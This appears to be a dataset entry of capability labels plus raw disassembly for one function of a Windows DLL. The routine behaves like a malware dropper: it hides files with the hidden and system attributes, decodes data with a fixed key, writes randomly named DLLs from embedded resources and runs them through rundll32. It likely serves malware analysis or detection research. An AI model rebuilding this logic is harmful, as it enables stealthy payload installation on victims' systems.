Function at 0x180016ab0
Capabilities:
Check if file exists
Create directory
Get file attributes
Set file attributes
Terminate process

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x1d8
mov qword [rsp + 0x78], 0xfffffffffffffffe
mov rax, qword [0x1800393f8]
xor rax, rsp
mov qword [rsp + 0x1c8], rax
mov ebx, r9d
mov dword [rsp + 0x44], ebx
mov r13, r8
mov qword [rsp + 0x68], r8
mov r12d, edx
mov dword [rsp + 0x40], edx
mov rbp, rcx
mov qword [rsp + 0x70], rcx
mov rax, qword [rsp + 0x240]
mov rcx, qword [rsp + 0x248]
mov rdx, qword [rsp + 0x250]
mov qword [rsp + 0x48], rdx
lea rsi, [0x18002e55b]
mov rdx, rsi
test rax, rax
cmovne rdx, rax
mov qword [rsp + 0x58], rdx
lea rax, [0x180033c84]
test rcx, rcx
cmovne rax, rcx
mov qword [rsp + 0x50], rax
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rsi
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
mov rcx, rsi
call fcn.180001340
mov r14, rax
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rsi
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
mov rcx, rsi
call fcn.180001340
mov r15, rax
xor r8d, r8d
mov edx, r12d
mov rcx, rbp
call fcn.180003850
xor r8d, r8d
mov edx, ebx
mov rcx, r13
call fcn.180003850
call fcn.180013a50
mov rdx, qword [rax + 8]
lea rcx, str._ssccon0987.txt
call fcn.180001930
mov rsi, rax
mov qword [rsp + 0x60], rax
call fcn.180013ae0
xor edx, edx
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call fcn.180013ae0
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x180016bfc
lea rcx, str.c:_xscp.txt
call fcn.180003d60
lea rcx, [0x180033c98]
call fcn.180003eb0
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.180013a50
xor edx, edx
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call fcn.180013a50
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x180016c43
lea rcx, str.c:_xscp.txt
call fcn.180003d60
lea rcx, [0x180033cb0]
call fcn.180003eb0
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.180013ae0
mov edx, 6
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.180013ae0
mov edx, 6
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.180013a50
mov edx, 6
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.180013ae0
mov rbx, rax
call fcn.180013ae0
mov rdi, rax
call fcn.180013a50
mov r9, qword [rbx + 8]
mov r8, qword [rdi + 8]
mov rdx, qword [rax + 8]
lea rcx, [0x180033cd0]
call fcn.180003eb0
mov rcx, qword [rsi + 8]
call fcn.180002090
mov rsi, rax
xor ebx, ebx
test rax, rax
je 0x180016d7f
mov rdx, qword [rax + 8]
mov edi, ebx
cmp dword [rax + 4], ebx
jle 0x180016cfd
lea r8, str._abd04
mov rcx, r8
cmp byte [str._abd04], bl
je 0x180016cf8
mov eax, edi
inc edi
cmp eax, dword [rsi + 4]
jge 0x180016cf8
movzx eax, byte [rcx]
add byte [rdx], al
inc rcx
inc rdx
cmp byte [rcx], bl
jne 0x180016ce0
cmp edi, dword [rsi + 4]
jl 0x180016cd5
mov rcx, rsi
call fcn.180002660
mov r13, rax
mov r12d, ebx
mov ecx, dword [rax + 0xc]
mov rbp, rbx
test ecx, ecx
jle 0x180016d5e
cmp r12d, ecx
jge 0x180016d29
test rbp, rbp
js 0x180016d29
mov rax, qword [r13 + 0x10]
mov rdi, qword [rax + rbp*8]
jmp 0x180016d2c
mov rdi, rbx
cmp dword [rdi + 4], ebx
jle 0x180016d4f
mov edx, 1
mov rcx, qword [rdi + 8]
call fcn.180005d60
mov rdx, qword [rdi + 8]
lea rcx, [0x180033ce8]
call fcn.180003eb0
inc r12d
inc rbp
mov ecx, dword [r13 + 0xc]
cmp r12d, ecx
jl 0x180016d15
mov dl, 1
mov rcx, r13
call fcn.180001740
mov rcx, rsi
call fcn.1800012d0
mov rbp, qword [rsp + 0x70]
mov r12d, dword [rsp + 0x40]
mov r13, qword [rsp + 0x68]
xor eax, eax
mov qword [rsp + 0x1b0], rax
mov dword [rsp + 0x1b8], eax
mov edx, 8
lea rcx, [rsp + 0x1b0]
call fcn.180004610
lea rdi, [rsp + 0x1b0]
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
mov eax, dword [str..dll]
mov dword [rdi - 1], eax
movzx eax, byte [0x180033cfc]
mov byte [rdi + 3], al
call fcn.180013ae0
lea r9, [rsp + 0x1b0]
mov r8, qword [rax + 8]
lea rdx, str._s_s
mov rcx, r14
call fcn.180001b60
mov rcx, qword [r14 + 8]
call fcn.180003a30
test al, al
jne 0x180016d90
mov r8d, r12d
mov rdx, rbp
mov rcx, qword [r14 + 8]
call fcn.180003b80
mov rdx, qword [r14 + 8]
lea rcx, [0x180033d00]
call fcn.180003eb0
mov rcx, qword [r14 + 8]
call fcn.180003a30
test al, al
jne 0x180016e40
lea rcx, str.c:_xscp.txt
call fcn.180003d60
lea rcx, [0x180033d10]
call fcn.180003eb0
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
mov qword [rsp + 0x1b0], rax
mov dword [rsp + 0x1b8], eax
lea edx, [rax + 8]
lea rcx, [rsp + 0x1b0]
call fcn.180004610
lea rdi, [rsp + 0x1b0]
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
mov eax, dword [str..dll]
mov dword [rdi - 1], eax
movzx eax, byte [0x180033cfc]
mov byte [rdi + 3], al
call fcn.180013ae0
lea r9, [rsp + 0x1b0]
mov r8, qword [rax + 8]
lea rdx, str._s_s
mov rcx, r15
call fcn.180001b60
mov rcx, qword [r15 + 8]
call fcn.180003a30
test al, al
jne 0x180016e40
mov r8d, dword [rsp + 0x44]
mov rdx, r13
mov rcx, qword [r15 + 8]
call fcn.180003b80
mov rcx, qword [r15 + 8]
call fcn.180003a30
test al, al
jne 0x180016ef1
lea rcx, str.c:_xscp.txt
call fcn.180003d60
lea rcx, [0x180033d28]
call fcn.180003eb0
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rdx, qword [r15 + 8]
lea rcx, [0x180033d00]
call fcn.180003eb0
call fcn.180013ae0
mov rdi, rax
call fcn.180013ae0
mov r8, qword [rdi + 8]
mov rdx, qword [rax + 8]
lea rcx, str._s_r_n_s
call fcn.180001930
mov rcx, rax
mov edx, 5
call fcn.180002040
mov r8d, dword [rcx + 4]
mov rdx, qword [rcx + 8]
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx + 8]
call fcn.180003b80
mov rcx, qword [rsp + 0x48]
call fcn.1800018c0
mov rdi, rax
lea rbp, [0x18002e55b]
mov r8, rbp
lea rdx, [0x18002e55c]
mov rcx, rax
call fcn.180001c50
lea r8, [0x18002e5c0]
lea rdx, [0x18002e5b0]
mov rcx, rdi
call fcn.180001c50
call fcn.180013ae0
mov rcx, qword [rdi + 8]
mov qword [rsp + 0x30], rcx
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x20], rcx
mov r9, qword [rax + 8]
mov r8, qword [r15 + 8]
mov rdx, qword [r14 + 8]
lea rcx, [rsp + 0x80]
call fcn.180014260
nop
cmp byte [rsp + 0x260], 0
jne 0x1800170e0
lea rcx, [0x180033d50]
call fcn.180003eb0
xor ecx, ecx
call fcn.180007300
test eax, eax
je 0x180017073
call fcn.180007350
test eax, eax
je 0x1800170e0
mov rcx, qword [0x18003be50]
call fcn.1800010a0
mov rdi, rax
test rax, rax
jne 0x18001700c
mov rdi, rbx
jmp 0x180017023
mov dword [rax + 4], ebx
mov rdx, rax
mov ecx, 0x2800
call fcn.180001120
mov qword [rdi + 8], rax
mov byte [rax], 0
mov rsi, qword [0x18003dff0]
lea r8, [0x180033bc4]
mov edx, 0x67
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
jne 0x180017052
lea rcx, [0x180032a58]
call fcn.180003e10
jmp 0x180017060
mov r8, rax
mov rdx, rsi
mov rcx, rdi
call fcn.180005ba0
mov edx, reloc.WS2_32.dll_inet_ntoa
lea r8d, [rdx - 6]
mov rcx, rdi
call fcn.180005980
jmp 0x1800170e0
mov rcx, qword [0x18003be50]
call fcn.1800010a0
mov rdi, rax
test rax, rax
jne 0x18001708c
mov rdi, rbx
jmp 0x1800170a3
mov dword [rax + 4], ebx
mov rdx, rax
mov ecx, 0x2800
call fcn.180001120
mov qword [rdi + 8], rax
mov byte [rax], 0
mov rsi, qword [0x18003dff0]
lea r8, [0x180033bc4]
mov edx, 0x66
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
jne 0x1800170d2
lea rcx, [0x180032a58]
call fcn.180003e10
jmp 0x1800170e0
mov r8, rax
mov rdx, rsi
mov rcx, rdi
call fcn.180005ba0
mov qword [rsp + 0x28], rbp
lea rax, [0x180033938]
mov qword [rsp + 0x20], rax
mov r9, rbp
lea r8, [0x180033934]
mov rdx, qword [r14 + 8]
mov rax, qword [rsp + 0x1a8]
mov ecx, dword [rax + 8]
call fcn.180013740
mov rdi, rax
mov rdx, qword [rax + 8]
lea rcx, str.XXX__s
call fcn.180003eb0
mov rcx, qword [rdi + 8]
call fcn.180005ff0
test eax, eax
jne 0x180017151
lea rcx, str.c:_xscp.txt
call fcn.180003d60
lea rcx, str.rundll32
call fcn.180003eb0
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, rdi
call fcn.1800012d0
cmp byte [rsp + 0x258], 0
jne 0x1800171e6
mov rax, qword [rsp + 0x1a8]
mov ecx, dword [rax + 8]
test ecx, ecx
cmove r14, r15
mov qword [rsp + 0x28], rbp
lea rax, [0x18003393c]
mov qword [rsp + 0x20], rax
mov r9, rbp
lea r8, [0x180033934]
mov rdx, qword [r14 + 8]
call fcn.1800138d0
mov rdi, rax
mov rdx, qword [rax + 8]
lea rcx, [0x180033d90]
call fcn.180003eb0
mov rcx, qword [rdi + 8]
call fcn.180005ff0
test eax, eax
jne 0x1800171de
lea rcx, str.c:_xscp.txt
call fcn.180003d60
lea rcx, str.rundll32
call fcn.180003eb0
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, rdi
call fcn.1800012d0
cmp byte [rsp + 0x268], 0
jne 0x180017203
lea rcx, [0x180033da8]
call fcn.180003eb0
xor ecx, ecx
call fcn.180016650
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rsp + 0x1a8]
test rax, rax
je 0x180017226
cmp dword [rax], 0
jne 0x180017226
cmp dword [rax + 4], 0
je 0x18001722d
inc ebx
cmp ebx, 0x32
jl 0x180017216
lea rcx, [rsp + 0x80]
call fcn.180013e60
xor eax, eax
mov rcx, qword [rsp + 0x1c8]
xor rcx, rsp
call fcn.180018330
add rsp, 0x1d8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret